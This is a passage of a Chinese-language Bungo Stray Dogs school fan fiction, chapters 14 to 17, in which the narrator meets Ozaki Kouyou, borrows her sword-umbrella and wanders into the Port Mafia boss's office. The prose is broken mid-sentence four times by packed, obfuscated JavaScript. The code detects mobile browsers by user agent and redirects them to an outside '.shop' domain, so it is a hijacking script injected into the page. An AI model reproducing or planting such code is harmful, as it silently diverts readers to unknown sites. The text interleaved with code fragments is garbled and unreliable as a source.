d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213633|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能看见飘飘的长发和白裙。 “你和武装侦探社一起吃饭?” “小银你这样好像怨气冲天的女鬼哦。” 我们同时张口。 又同时缄默。 “先回宿舍吧。”我掏出钥匙打开203的门,一边继续说:“因为放学睡了一觉,醒来食堂没饭了。刚好遇见他们,就一起出校吃。” “所以他们就顺便给你上眼药。”小银冷不丁地说。 “是我主动问起社团的,小银和芥川不在的时候会无聊,就想加入个社团。” “你同意泉镜花说的吗。” 我余光看了眼小银,她的冷脸对我没有丝毫威慑力。此时的她就像一只湿答答的长毛狮子猫,因为主人有新欢而气得喵喵叫。 “你在想什么?”她敏锐捕捉住我偷窥的视线。 我摇摇头,翻出吹风筒朝她晃了晃,一边插电一边说:“黑手党吗?我一点不了解,但是我了解小银和芥川。” 小银愣住,我招手示意小银过来。她迟疑一瞬,不知道应该继续生气还是乖乖靠近。 我把吹风机打开,催促道:“快点啦,限定版女鬼小银。” 她终于无奈地走过来,顺从地任我扒拉她的头发。 我开了暖风,动作轻柔地吹小银细软的头发,手指在她发间穿插,有时会不经意划过她的脖颈。 小银垂眸不语。正如异能力为控制外套的兄长不喜欢泡澡一样,在黑手党以身法诡谲飘逸闻名的“杀手”银也不习惯有人如此靠近自己。 “我暂时不打算加入社团。”吹风机的声音盖过我的声音,但我和小银离得很近,我不担心她听不到。 “无论是侦探社,还是黑手党,我都不愿与其为敌。何况小银,你是我最好的朋友。” 小银才注意到,她最脆弱的脖颈此时任少女触碰,自己却没有意识到。只怕背后的少女突然拿出一把刀,她也不会察觉到吧。这样想着,便干脆自暴自弃地放弃抵抗。 我给小银吹完头发,发现小银居然睡着了。我试探地碰碰她的脸,她居然没有任何反应。 看来睡熟了呢。平时在寝室很少见到小银,我甚至有种小银从不睡觉的错觉,未曾想她也有吹头发吹到一半睡着的一天。 ……小银睡得这么熟,偷偷扎辫子也不会被发现吧? 最后还是不忍心折腾小银,我想把她叫醒到床上睡,轻轻拍拍她的手臂:“小银,醒醒了。” 她睫毛轻颤,迷糊地睁开眼睛。我接着低声说:“到床上再睡,椅子太硌。” 她抓住我的衣服,喃喃:“我才不会伤害佑木。” 我了然,真是说者无意听者有心。我没有在意泉镜花的话,小银却把泉镜花的话记住了。我口头答应着,试图把她拉到床上。 她得到我的肯定,放心地再次睡着。 我:“……” 我有些烦恼地挠挠头,还是选择妥协,小心地把小银半搂半抱地挪到她的床位。自己拿衣服到浴室,在更衣室吹干头发,也回寝室睡觉了。 14. 无毒的红带袖蝶 第二天,小银表现得若无其事,仿佛昨夜生闷气的某只狮子猫与她并无干系。我也没有提过此事,如同往常一样与她相处。 芥川果然还在生闷气,我果然没有猜错,我的同桌就是如此较真的垂耳兔=v=我趁着早读时间说了许多好话,最后发誓再也不拿他的眉毛开玩笑,他才缓和脸色。 每天在教室逗芥川、下课和直美她们聊天,下午放学去自习室学习,吃饭偶尔去咖喱店和其他饭店,大多时候都是在食堂吃。一旦和周围人熟悉起来,日子不经意间就过去了许多。 一日晚饭后又去图书馆查资料写完最后一点国语作业,走出图书馆发现天色暗沉,空气有些潮湿的味道,混合着泥土的腥味。 我暗道不好,加速离开图书馆,想快点回到寝室,奈何图书馆和寝室在学校两个对角,横滨高校又很大。走在半路就下起了大雨,不过几息就打湿我的校服衣襟。 我无可奈何,就近躲到一家校外企业包办的咖啡厅下。看着雨没有停歇的样子,我掀帘走进这家咖啡厅。 一进咖啡厅,我先注意到靠近窗边的位置坐着一位红发女性,虽然穿着校服,却套了一件和服外套,和头顶发髻映衬着十分优雅。她轻抿一口咖啡,接着继续看笔记本的文件。 咖啡厅里的学生还是蛮多,位置几乎坐满了。只有那个女生旁边位置是空的。我点了杯咖啡后走近她,坐到她对面。不知为何竟觉得附近投来许多隐晦的视线。不过一会那种感觉就消失了,仿佛只是错觉。 “你好?可以知道你是几年级学生吗?”鉴于和她用一张桌子,我礼貌地打了招呼。 我当然是有目的的! 我努力不让目光漂移到她的靠在墙边的雨伞上。如果和她熟悉起来,没准她会愿意让我蹭她的伞一起回宿舍呢。毕竟这雨可没有停下来的意思,雨势连变小的趋势都没有,反而越来越大。 她的目光从笔记本移开,落到我身上,夹杂锐利的审视。面对这样一位古典美人的观察,我不由挺直了背,感到有些局促。 很快她收回了让人想要逃避的视线,掩唇轻笑:“啊呀,是可爱的转校生呢。妾身尾崎红叶,是三年生。” “诶?尾崎学姐,你认识我?”我发出疑问,这个漂亮的学姐居然知道我是转校生? “呵呵,不过是在宿管部看到过你的资料。” “这样啊,尾崎学姐原来是学生会的成员,真是优秀。”我感慨。 她没有多说,神秘地笑了一下。眼尾一抹红色的眼影随着眼眸的微垂而伸展,配合着轻颤的微卷睫毛,就像振翅欲飞的蝴蝶,艳丽的外表吸引无知的猎物,再用剧毒将其一一扼杀。 “红带袖蝶。”我脱口而出。 “嗯?” 我自觉言失,有些不好意思地道歉:“抱歉,只是突然想到一种蝴蝶……” “为什么会想到这个?”她饶有兴趣地看向我。 “啊,因为学姐你的眼影很像振翅的蝴蝶。” 她一怔,纤细的手轻抚着眼尾,显得更加妩媚。她笑道:“著名的‘剧毒’蝴蝶吗?” 我微微惊讶:“学姐了解过?” “艳丽的外表使它在残酷的自然中存活,双翅上鲜艳的花纹如染血的红叶。谁知这样外表下隐藏的是一只无害的昆虫?” “是呢。”我表示赞同,同时惋惜:“只是由于十六世纪葡萄牙对红带袖蝶进行持续两百年的肃清,如今连它的标本都很少见。” 红带袖蝶之所以闻名,是因为这个稀有种族有一段令人扼腕的历史。十六世纪巴西随行兽医将军队马匹大量死亡的原因归于本地栖息的古老生灵红带袖蝶上,推断其绚丽的外表隐藏着令马匹死亡的剧毒。因此,葡萄牙国王下令大量焚烧其聚居的森林。短短200年内,这个种族就惨遭灭顶。 讽刺的是,直到科技发展迅速的十九世纪,人们才通过研究发现红带袖蝶是一种无害昆虫,鲜艳的红色不过是它的警戒色。至于为这个种族遭来灭顶之灾的杀死马群的推断,不过是随行兽医为了逃避疏于管理的惩罚,随口编撰的谎言。 “蝴蝶生来有着鲜艳的警戒色,诚然它是无害的昆虫,又有谁会相信?最终还是难免命丧一炬的结局。”尾崎学姐的话映衬着窗外的雨声,显得更加渺茫。我们的座位本就在角落的靠窗处,与其他位置离得远,那些低声的交谈声逐渐模糊,我只听见了她孤寂的声音。 尾崎红叶的目光投向窗外,幽幽道:“生于黑暗之中的鲜花,最终只能归于黑暗。” 突然寂静了下来。 远处的人声突然消失了,仿佛只有我们二人存在,随着她的目光,我看见与我仅隔一扇玻璃的窗台上,有在小水坑里挣扎的蚊虫。如此弱小的虫子,甚至还未看懂过世界,这场对我们来说不轻不重的雨,在它眼中如天罚,毫无征兆地降临。羽翼被打湿,再也无力挣扎,只能在雨水中溺亡。就算侥幸从水坑中逃亡,又能寄居于何处?世界已被暴雨侵袭。此时唯一能救它的人类,正在窗内饶有兴趣地观测它的溺亡,自始至终,它从未察觉。 雨落下的声音,轻快得似仙乐,沉闷又如丧钟。有避雨的学生,也有溺亡的蚊虫,有把把撑开的雨伞,有圈圈扩散的涟漪。所有人都赞同的事实唯有一点,那就是无人能阻止雨的下落。 那么尾崎学姐, 你的内心为什么哭泣?为惨死的蝴蝶?为溺亡的蚊虫?为犹如花草一般瞬间幻灭的人生? “……但,即使是被持续屠杀200年的红带袖蝶,至今也仍有后代。近几年的蝴蝶展,已经出现了它们的身影。” 我在滂沱雨声中小声说。 她好整以暇地把视线从蚊虫转移到我身上。 “这样溺死的蚊虫,一场雨下来不知道有多少呢。可是……雨后又会冒出来一群,在溺死同伴的水面上产卵。” 美人莞尔:“你想说什么?” 我顿了一下,还是把话说出了口:“生于黑暗之中的鲜花,未必不能将花粉传播到阳光下。” “届时,黑暗中的土壤,都将为向阳花朵提供养料。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213634|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尾崎红叶微微笑。 她红褐色的深沉眼眸中,倒映出认真又善良的黑发少女。就像发着光一样。 我的咖啡终于被端了上来。此时凝滞的气氛也被服务员打破。店内的谈话声如潮水般涌来,再次将我裹挟。我放松下来,轻啜一口咖啡。 很好,比我的命苦,今晚不用睡了。 尾崎学姐不再多说,自然地看向笔记本,继续处理事务。而我无所事事,看着窗外的雨发起了呆。 这么大的雨,不知道黑手党还夜巡吗?小银不知道带伞没有?还有芥川,身体那么差,可别淋雨啊……说到这,今天雨这么大,一般店铺恐怕都生意惨淡。那咖喱店呢?本来人就少,今天又下暴雨,会早点打烊吧。织田学长可以早点下班了。 侦探社的各位呢,直美像是那种会因为害怕雷声而躲进哥哥怀抱的女孩,唔……这对兄妹的关系真是让人捉摸不透啊…… 不知觉想了很多,回神看天色已晚,对面的美人没有离开的意思。我有点失望,本来以为可以蹭学姐的伞呢。不过今天能结识学生会的美人学姐,也很值得。 我起身告辞:“学姐,我先走了。” 她优雅颔首。接着她的目光从笔记本离开,带着复杂的神情看着我。 我头顶冒出一个小问号,礼貌地问:“学姐还有事吗?” 她悠悠说:“妾身曾经就是即将溺亡的蚊虫,竭尽心力也无法免于暴雨的迫害。” 我一呆:“后来呢?” 她的笑容慢慢扩大,用咏叹的语调轻声说道,仿佛在我耳畔调情:“妾身杀死了‘雨’。” 我似懂非懂。而她已经轻飘飘扔下一句:“把靠着墙的那把伞拿走吧。” “诶?” “小佑,拿上回宿舍,不要淋雨了。” “那学姐你怎么办?” “有人会来接妾身。” 此时的我的确需要这把雨伞,于是我郑重许诺:“我会还伞的。” “呵呵,期待下次再见。” “谢谢你,尾崎学姐。” “平时大家都叫我红叶学姐。”她这么说道。 没搞懂她的意思,或者说我不太敢如此理解。我犹豫一下,还是试探性叫了一声:“红叶学姐……?” 她没有回答,只是眼底的笑意加深了。 吵得令人心烦的夜雨。我走在回宿舍的路上,看一个个水坑在路灯下泛着银色的光,甚至看清一圈一圈的水纹。 意料之中的,红叶学姐的伞很大,两个人撑伞绰绰有余,缺点是实在太沉,我感觉甚至超过了双人伞应有的重量。不过我看着伞柄上精美的雕刻,想起撑伞那刻被惊艳到的伞面,心想可能是定制的伞吧,因此更加小心。 下雨的原因,学校里没有什么人,突然眼前一暗,原来是光线被挡住了。 我把伞抬高,惊讶地发现面前站着的可不是一两个人,而是七八个本校的不良。他们面色阴翳,把我围住,不怀好意地打量着我。 哇——啊? 15. 坂口安吾的质询环节 “本以为今天遇不到人,没想到还有倒霉鬼这么晚在外面晃荡。”不良头头上前一步,冷笑地看着我。 咦?是要钱吗?还是霸凌?我犹疑地想。看起来不太聪明,谁家不良冒着雨开张啊,也太敬业。 怎么办?大半夜,又是暴雨,离宿舍也有一定距离,叫天天不灵叫地地不应。 事已至此,我还是想把损害降低最小,彬彬有礼地说:“能先让我把伞收好吗?它很珍贵,我不想损坏它。” “哈?你这女人,再说什么啊,只在乎一把破伞吗?”不良头头不耐烦地说。 “老大、你看……那把伞……”其中一人颤抖着说。 那个不良头头不爽地看过来,七八个不良的目光一下聚集在那把制作精美的伞上。 借助灯光,伞面上栩栩如生的彩绘清晰可见! 几个不良瞬间变色。 那是属于黑手党协会五大干部之一,异能力为「金色夜叉」的尾崎红叶的纸伞! 我不解歪头。 “是我有眼不识泰山,不知道学妹是尾崎大人手下的人。”不良瞬间换上了谄媚的笑容,对我诚惶诚恐地道歉。 我虽不解,此时也端着架子摇摇头:“请离开吧。” 不良如蒙大赦,率领小弟以最快的速度消失在我的视野中。 我纳闷:红叶学姐不是学生会成员吗?这威慑力,堪比黑手党了吧? 无论如何,多亏了红叶学姐的伞,我安全到达了宿舍。在女宿楼下,我把伞收好后,发现伞柄的设计有些奇特。 我大为惊奇,摸了摸伞柄,发现暗藏玄机。不知按到哪里,伞柄处突然一松,我用用力一拔—— 一把剑从伞柄中滑出。原来是以伞柄为鞘的暗剑,在微弱灯光下反射出冰冷的寒光。 我:“……” 我安静如鸡,冒着汗轻轻将短剑塞进去。听见“咔哒”一声,这把伞又恢复了精致优雅的模样。 这他喵是学生会??黑手党还差不多啊! 对面男寝闪过一个身影,有些熟悉。定睛一看,原来是坂口安吾学长。这么晚下暴雨还在学生会熬夜工作到现在吗?我好像知道坂口学长的黑眼圈是哪来的了。 我有些恍惚道:“坂口学长。” 他闻言转头,被我神情恍惚的样貌惊到了,犹豫一下还是担忧地走近。 “千叶?发生什么了?” “学长,一个人可能……既是学生会,又是黑手党协会成员吗?” 坂口安吾:“……?” 坂口安吾:“!!!?” 坂口安吾,一个深夜加班的社畜,好不容易有一天能够早点回宿舍,却因为关心学妹而喜提失眠一宿。 第二天课间就被坂口学长提溜到学生会办公室了。 由于昨天太晚了,在宿舍楼下也不方便过多交流,他确认我没事后就离开了。今天一早就把我叫到办公室盘问。 “所以,你昨天说的话,是什么意思?”坂口学长严肃地看着我。 我目光闪烁了一下,红叶学姐不仅和我聊天还把伞借给我,这么好的学生会成员,我却怀疑她是黑手党,这话说出来我自己都心痛。 “没、只是……突发奇想啊哈哈哈……”我目移。 坂口安吾静静看着我表演。 “比如、比如坂口学长,会不会表面上是学生会成员,夜晚又化身黑手党呢?学长你的黑眼圈也有合理解释了。” 坂口?前任黑手党卧底?安吾:“……现在也有合理的解释啊?学生会事物太多了。” “但是双重身份,更酷诶!” “学生会和黑手党不和,双重身份只能是间谍。” “哇哦——” 坂口安吾心想双重身份算什么,他曾经可是当过三重间谍。 丝毫不知道这番话在坂口安吾内心掀起惊涛骇浪的我,为了转移话题在他的办公室乱瞟。 突然看到一个熟悉的咖啡罐,我疑惑:“学长,上次送你的咖啡还没有喝吗?” 他一惊,顺着我的视线转头看到那杯咖啡,和我一起陷入沉默。 那显然是我与他初遇时在贩卖机买来感谢他的罐装咖啡,此时完好无损地放在桌角。在干净整洁堆满文件,没有任何杂物的办公桌上显得如此突兀。 我:“……”怎么办?是不是问了一个难以回答的问题?!学长根本不愿意喝这种罐装咖啡,又出于礼貌没有扔掉,只能摆在桌子上啊! 坂口安吾:“……”完蛋了。把学妹送的东西一直摆在桌子听起来就像变态。总不能说经常在处理办公疲惫的时候用异能力「堕落论」回忆那天的笑容,那样更像变态了。 “上次的谢礼准备的的确太潦草。”我最终还是郑重地说:“我会重新补偿你的,坂口学长。” “……不,不是这样。”坂口安吾迅速理解了我的脑回路,又有些无力地扶额:“而且只是为你带路而已,不用放在心上啊。” “不只是带路。”我认真地说,“坂口学长是我在学校认识的第一个人,对我来说意义重大。” 他沉默了,有些狼狈地移开视线,头疼地说:“啊,随你便吧。” 本来可以拒绝的。毕竟是一件小事。 但……又有不可告人的念头浮现出来。 如果能拿到她的礼物,就可以继续读取她的记忆了吧? 就好像,她在身边一样。 “而且上次我的校服和学生证,是坂口学长为我准备的吧?” 猝不及防的坂口安吾:“……你真是喜欢玩回旋镖啊。” “诶?本来只是试探一下,原来真的是学长。” “为什么会怀疑?” “因为带我去仓库的两个学长说生活部的工作效率很低,不应该收拾得这么快。”当着学生会成员面蛐蛐他们部门,我难得有些不好意思。但想到说这话的也是学生会的,我又理直气壮起来。 “等等、带你去仓库的不是生活部的么?” “不,是其他部门的成员,末广学长和条野学长。” “末广铁肠和条野采菊?”他挑眉:“你遇到了‘猎犬’成员?” “好中二的名字。” “很犀利的吐槽。” “好吧。”我摊了摊手,“‘猎犬’是什么?” “学生会的一支特殊部门,直隶于校董会,地位很高。” “哇哦。真是遇到了了不得的人。” “完全没有听出惊讶。” “只是在想,小说中这么厉害的队里一定常出间谍。” 他眉头跳了跳,及时打断了这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213635|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话题:“最后一个问题,千叶,最近有没有遇到奇怪的人?” “奇怪的人?没有啊。”我回想一下,“除了侦探社成员和芥川他们,我没有很熟的朋友。” “那就好,最近小心一些,有无法解决的事情就来找我。” “为什么突然这么说?” 他思索一瞬,还是如实相告:“学生会某些部门前几天被人潜入,有人翻看了你的档案。” “这样啊,难道是我太受欢迎的缘故?” 他扶额,挥挥手:“确认你的确没事我就放心了,你可以走了,千叶。” 我比了个OK,刚走出办公室,突然想起还要还红叶学姐的伞。想到坂口学长也是三年级生,还同为学生会。我探出脑袋问:“坂口学长?” “又怎么了?” “最后一个问题,你知道尾崎红叶学姐在哪个办公位吗?我顺便还伞。” 坂口安吾的眼睛一下瞪大了。 千叶佑木,你怎么回事?? 我真傻,真的。 明明知道坂口学长心细如发,红叶学姐身份存疑,还是为了方便向坂口学长打探。刚迈出坂口安吾的办公室,就又被他提溜回去。 坂口学长严肃起来,就像教务主任,让人倍感压力。在这样凝滞的氛围下,我很快把有关红叶学姐的事情一一吐露。 我看着他的表情从严肃慢慢变得茫然,最后像是头脑发胀一样扶着额头一言不发,好像被谁用钢筋照后脑勺敲了一闷棍。 “学长果然是加班加太多了吗?这都脑供血不足了。”我小心翼翼地表达我的担忧,希望他没事快点放我走。 他痛苦地闭上眼睛:“千叶你别说话了,听你今天说的话比我工作连轴转一周还累。” 我乖乖闭嘴。 “还尾崎红叶在哪个办公位。我第一次见在学生会找黑手党干部办公位的。”他气到翻白眼。 其实,只要活得久,什么都能遇到。特别是坂口学长你还加班久。我下意识贫了一句,不过没有出声。 不过……红叶学姐果然是黑手党吗?还是干部级别的?她之前在骗我?不对,学姐好像没有承认过…… “怎么不说话?”他没好气地说,“拿了黑手党的信物,现在知道怕了?” “是学长不让我说话啊。”我解释,想了想,补充道:“只是觉得,黑手党居然比学生会更符合红叶学姐的气势呢。” 等等,坂口学长,你还好吗?!都不进气了啊!! “当时潜入学生会的,果然就是尾崎红叶。”一阵忙乱后,坂口安吾扶了扶眼镜,稳重地说。 “为什么要看我资料?”我不解。 “知道她的目的后,一切行迹都得到解释。”他的眼镜闪过凌冽的白光:“你所在的宿舍原来住着前任黑手党成员泉镜花,也就是尾崎红叶曾经的后辈。” 我点点头,那日泉镜花和我说过。 “而你不仅和黑手党为舍友,前段日子还和泉镜花接触过吧?据我们所知,尾崎红叶很关心泉镜花。” 啊,原来是因为泉吗? “红叶学姐和芥川真是奇葩。”我吐槽,“一个追着叛逃的前辈,一个关心叛逃的后辈。” “黑手党都这么重情义吗?” 坂口安吾无言以对。 16. 蛞蝓学长——! 终于如愿离开了学生会总部。 走之前,坂口安吾摘下眼镜揉了揉太阳穴,没有送我,自顾自说:“我的建议是,黑手党那个社团不适合你。” “但是,我不反对你和黑手党交流,你知道我要说什么吧?” “知道啦——”我挥了挥手,“有事就来找你解决——” 我轻快地关上了门,似乎看见了坂口学长脸上一闪而过的无奈微笑。 嗯? 亲手关上门的我,对着紧闭的门陷入沉思。 好像是笑了吧?坂口学长? 我挣扎一瞬,还是猛地拉开门! …… 坂口安吾安稳地坐在办公位,面无表 地看着我:“你还有什么事?” “没有笑?难道是错觉吗?”我嘟囔。 他头顶冒出一个“井”字,紧紧捏着笔微笑:“没有事就赶紧走。” 我摸摸鼻子,悻悻关上门。 中午照常和小银芥川去食堂吃饭。 小银抱臂:“昨天回宿舍太晚,你已经睡着了,所以没有问你。” 我把头从餐盒中抬起来:“唔唔?” “你带回来那把伞。”她压低声音,“是从哪拿的?” 我了然,果然大家都认识那把伞啊。 “是红叶学姐的。”我坦荡地说:“昨天下雨,在咖啡厅认识的学姐。” 芥川和小银沉默。 我接着说:“学姐是黑手党的吧?我下午放学去找你们社团找她还伞。” 芥川眉头皱了起来:“把伞交给在下还。” “还是当面还更有诚意吧。” “那就去三年级楼找她。” “诶?三年级教室离好远,放学赶过去恐怕学姐早离开了……” 他想到社团鱼龙混杂的人群,难得有些焦躁:“你……” “那就去社团吧,我陪佑木。”小银打断哥哥的话。在芥川把不赞成的目光投过来时,小银无声对他做了口型:侦探社。 ——与其放任侦探社拉拢,不如让黑手党成员和佑木更亲近。 而且,红叶学姐对佑木还算友善,不是吗? “……在下和小银一起。”芥川说。 “好呀,那就一起。”我毫无察觉地对他们露出灿烂的笑。 下午放学,和直美他们道别后。我和小银、芥川一起离开。 “哇哦,这就是最强社团之一吗?”我站在一栋高楼下,呆滞地说:“整栋楼,都是黑手党协会的地盘?” 芥川矜持地点头,主动走进了楼里。社团门口居然还有学生看守,见我和芥川兄妹一起进来,没有阻拦。 刚进楼,就听到一声焦急的呼唤:“芥川前辈!” 芥川眉头跳了跳,转头看见一个金发女子开心地奔来,狂热的视线紧紧锁定芥川。 但她很快发现了芥川身侧的一个女性,那就是我。她换上警惕冰冷的视线:“你是谁?怎么和芥川前辈在一起?” 我:“朋友。我是千叶佑木,你好。” 如此坦率的回应让芥川突然咳嗽出声。 金发女子立马转头紧张地看着芥川:“前辈!你的身体怎么样?可恶,都怪这个女人——” 关我什么事!小银不也在吗?等等,她的装扮,难道不被算作女人…… “樋口,不要说废话。”芥川冰冷地打断。 樋口不甘地收回敌视的目光,看向芥川:“前辈,广津老师那边有事情。” 广津柳浪?我好像听说过。是校内老师,作为黑手党协会的顾问指导社团活动。小银之前和我提过她隶属于广津老师的小组。 “是么。”芥川点点头,“小银你先过去。佑木,我们先走——” “是很重要的事情!”听见芥川要先陪我,樋口立马炸毛,大声说道。 芥川蹙了蹙眉,沉吟片刻。 我主动说:“那芥川你们先去吧。我一个人去找学姐就好。” 他问:“你一个人?” “无所谓吧?又没有什么危险。” “……”芥川说:“尾崎学姐的办公室在四楼。” 我点点头,芥川皱着眉头想了一下,还是揣着怀疑和一点担心离开了。身后跟着小银和樋口。小银暗中朝我点头示意。 我走进电梯,漫不经心地按了电梯层数,脑海中想着小银。 话说回来,自从进了大楼,小银没有再说过话呢。啊,这就是小银对外的酷哥形象吗?习惯了成为她的特例,居然有些不适应。 这时,电梯门开了,我走出电梯,沿着走廊走了两步,发现窗外的景色不太对。我直接看到了对面楼的顶楼天台,好像还能看见远处天台有穿着和服的男人拿着望远镜远眺…… ……学校的楼都是一样高的五层楼。我能看到对面楼天台,所以我也到了顶楼?我回忆一下,按楼梯层数的时候没注意,或许无意间把“4”按成了“5”。 好粗心。我暗自懊恼,无故擅闯别人社团很不礼貌,我看见不远处就是楼梯口,想到反正就差了一层,不如就走楼梯,省得返回电梯口了。 这样想着,我朝楼梯口走去,大概瞥了一眼走廊,发现顶楼果然比一般楼层华丽,装饰得更加低调奢华,而且只有一道门,门口挂着首领办公室的门牌。 首领。我古怪地咀嚼这个词。不愧是黑手党文化交流协会吗?社长的称呼都这么、中二。 能领导黑手党社团这么神秘的社长是何许人也?我不禁产生了些许好奇,也许是像广津老师那样严肃又风雅的先生吧。 这样想着,里面突然传来欢快又黏糊的男声:“爱丽丝酱~再试试这条裙子吧——” ……诶? 这、我又看了眼门牌:首领办公室。里面是黑手党的社长没错吧?!原来是这么富有少女心的老师吗? 虽然没人发觉,但我还是有些尴尬,加快脚步正打算快点离开,又听见—— “不要拒绝嘛~爱丽丝酱生气的样子也很可爱——啊~小萝莉做什么都会被原谅吧。” 我停下脚步,心情降到冰点。手也开始发冷,那是受到强烈震惊后血液逆流引起的生理反应。 ——所谓黑手党首领,是所谓的萝莉控? 我好像听到体内血液汹涌的声音,使我无法安然离开。 尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213636|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崎红叶在三年级教室结束完对她来说没有任何压力的作业,又照例走到天台眺望一年级的教学楼,看见泉镜花和侦探社的成员们一起走向武装侦探社。她静静地凝视着那个对她来说有着不同意义的后辈,脑中浮现出挣扎着溺死的蚊虫。 “届时,黑暗中的土壤,都将为向阳花朵提供养料。” 少女的话又响起,往日优雅稳重的她难得微微愣神,最近发呆的次数已经远远超过她之前的总和。上次这么魂不守舍还是在四年前。 泉镜花的背影逐渐远去,尾崎红叶默立一会准备转身离开天台,眼角瞥见略微熟悉的人。 与其说是先注意到人,不如说先看到陪伴她多年的伞。仔细看去,原来是佑木和芥川兄妹一起走,看方向是去黑手党协会。 看来小佑发现了她是黑手党成员。尾崎红叶莞尔。现在赶过去来不及了,她打电话给已经到达办公室的助手:“一会有来还伞的学妹,放她进办公室稍等。” 她不再耽误,回教室收拾好东西。优雅地走向协会。 到达楼内时,她瞥了一眼电梯。值得注意的是,电梯显示的楼层是五楼,显然刚刚有人去了首领办公室。 今天有什么人要见首领吗? 对于这些事情很敏感的尾崎红叶微微皱眉,内心过了一遍首领的行程,很快眉心舒展。是了,中也今天要照例去向首领汇报前段时间的社团工作。 “红叶姐?下午好。”身后传来中也的声音。 她转头,脸上难得出现了错愕:“中也?你没去见首领吗?” “我正准备去,首领有额外安排吗?嗯……?”中原中也的目光也放在显示5的楼梯层上。 二人的神情顿时变得凝重。 有计划外的人,去了首领办公室?! 我放轻脚步,慢慢靠近办公室门口。果然门是半掩的,我才能听到那位社长的声音。 “爱丽丝酱,上次那家甜品店还要吃吗?” “那就换上这条裙子好不好?换完我们就去吃,再挑新裙子——” 其内容越听越心惊。 作为高校社团的社长,居然是变态萝莉控……此时与我仅隔一门的办公室内,正有一位幼小的女孩。 我屏住呼吸,连电梯门到达的轻响也下意识忽略,凑近门口,借着门缝朝办公室内看—— 和想象中一样,一个黑衣青年痴汉状拿着繁琐的洛丽塔裙,看尺寸果然是小孩穿的。他朝一个方向比划着什么—— 等等。 我心中再次掀起惊涛骇浪。 他说话方向的对面,根本就没有人!他一直在一个人自言自语。 “你是谁?有什么目的!”耳边传来冰冷的男声,下一秒天旋地转,被按倒在地上。 饶命啊好汉!我只是想拯救在首领办公室的萝莉! 我挣扎两下发现按得更紧了,索性装死任他按着。 “是你?”男人有些惊诧,我勉强睁开眼睛,发现是被我拖的地撂倒的恩人! 有戏! 他叫什么来着?他叫什么来着……太宰学长好像叫他—— “蛞蝓!蛞蝓学长!”我惨叫出声。 17. 入水青花鱼 我大叫起来,脸贴在墙上没办法清楚地说话,我还是凭借求生欲望大声喊了出来,希望能拉近和他的距离。 “唔唔!蛞蝓学长!快放开我——” 少年震惊到失语,惊诧地看了我两秒—— “哈?你这混蛋在叫什么?!” 怎么按得更紧了—— 等等!电光石火之间,我猛然想起太宰学长抢过他的帽子扔到地上的片段。 已知,太宰学长和眼前少年的关系不好。 并且,太宰学长叫他“蛞蝓”,少年用“青花鱼”回击。 所以—— “蛞蝓”是少年的蔑称,而且出自于他的死对头太宰学长。 而我,亲爱的佑木,在面临偷听这一罪名被制服时,大声喊出了他的绰号。 吾、命、休、矣! 看着少年气到变形的脸,我紧紧闭上了眼睛——有没有人能救救我! “小佑?” 来自姗姗来迟的尾崎红叶。 我喜而泣极地看着那个红色的身影。 “哈?红叶大姐你认识?”少年发出疑惑的气音。“这个家伙,上一次见面和太宰一起从我这窃取了协会机密,这次又出现在首领办公室门口偷听!” “你这家伙,到底想干什么?”他的声音变得危险。 太宰学长——你害人不浅!! 尾崎红叶沉吟:“中也,先放开她。” “红叶大姐!” “外面好热闹啊。”办公室内传来带着几分笑意的声音,干练又沉稳:“中也,听红叶君的。” 中也皱着眉头放开我,我麻溜地爬起来捡起掉在一旁的伞,抱着伞连滚带爬地躲到红叶学姐身后。 “我是来找红叶学姐还伞的。”我抓紧红叶学姐的衣角,她安抚地拍了拍我的手。 “红叶大姐?”中也投以询问的目光。 “是的。小佑大概是走错楼层了,毕竟她没有来过。”尾崎红叶轻叹。 “先让客人进来吧。”办公室里的社长又发话。 我被红叶学姐牵着进了办公室,中也学长在身后用危险的目光看着我,防止我逃跑。 进了办公室,我先扫了一眼那黑发青年的附近,的确没有其他人。但是不排除把小孩藏起来的可能—— “爱丽丝酱,很喜欢我们的新客人吗?”青年笑着说。 爱丽丝?哪呢哪呢?! 我左右环视,没有看见其他人。 “爱丽丝小姐,下午好。”尾崎红叶习以为常地颔首。 “……”我呆滞地看着红叶学姐。 办公室明明没有第五个人…… 